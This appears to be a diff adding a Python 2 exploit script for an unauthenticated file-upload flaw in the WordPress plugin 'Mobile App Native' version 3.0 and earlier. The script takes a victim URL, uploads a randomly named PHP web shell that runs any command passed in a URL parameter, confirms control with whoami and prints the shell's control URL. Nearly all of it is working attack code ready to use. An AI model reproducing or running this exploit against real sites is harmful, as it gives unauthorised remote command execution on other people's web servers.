|
| 1 | +import requests |
| 2 | +import random |
| 3 | +import string |
| 4 | +print "---------------------------------------------------------------------" |
| 5 | +print "Vulnerability: Mobile App Native <= 3.0 - Remote File Upload Exploit\nDisclosure Date: 2017-02-28\nDiscovery: Larry W. Cashdollar\nExploit Author: Munir Njiru\nWPVDB ID: 8743\nCWE: 434\nReference URL: http://www.vapidlabs.com/advisory.php?v=178\nPlugin URL: http://plugins.svn.wordpress.org/zen-mobile-app-native/\n" |
| 6 | +print "---------------------------------------------------------------------" |
| 7 | +victim = raw_input("Please Enter victim host e.g. http://example.com: ") |
| 8 | +slug = "/wp-content/plugins/zen-mobile-app-native/server/images.php" |
| 9 | +target=victim+slug |
| 10 | +def definShell(size=6, chars=string.ascii_uppercase + string.digits): |
| 11 | + return ''.join(random.choice(chars) for _ in range(size)) |
| 12 | + |
| 13 | +shellName= definShell()+".php" |
| 14 | + |
| 15 | +def checkExistence(): |
| 16 | + litmusTest = requests.get(target) |
| 17 | + litmusState = litmusTest.status_code |
| 18 | + if litmusState == 200: |
| 19 | + print "\nTesting if vulnerable script is available\nI can reach the target & it seems vulnerable, I will attempt the exploit\nRunning exploit..." |
| 20 | + exploit() |
| 21 | + else: |
| 22 | + print "Target has a funny code & might not be vulnerable, I will now exit\n" |
| 23 | + quit() |
| 24 | + |
| 25 | +def exploit(): |
| 26 | + print "\nGenerating Payload: "+shellName+"\n" |
| 27 | + myShell = {'file': (shellName, '<?php echo system($_GET[\'alien\']); ?>')} |
| 28 | + shellEmUp = requests.post(target, files=myShell) |
| 29 | + respShell = shellEmUp.text |
| 30 | + shellLoc = respShell.replace("http://example.com/", victim+"/wp-content/plugins/zen-mobile-app-native/") |
| 31 | + print "Confirming shell upload by printing current user\n" |
| 32 | + shellTest=requests.get(shellLoc+"?alien=whoami") |
| 33 | + webserverUser=shellTest.text |
| 34 | + if webserverUser == "": |
| 35 | + print "I can't run the command can you try manually on the browser: \n"+shellLoc+"?alien=whoami" |
| 36 | + quit() |
| 37 | + else: |
| 38 | + print "The current webserver user is: "+webserverUser+"\n" |
| 39 | + print "Shell Can be controlled from the browser by running :\n"+shellLoc+"?alien=command" |
| 40 | + quit() |
| 41 | + |
| 42 | +if __name__ == "__main__": |
| 43 | + checkExistence() |
0 commit comments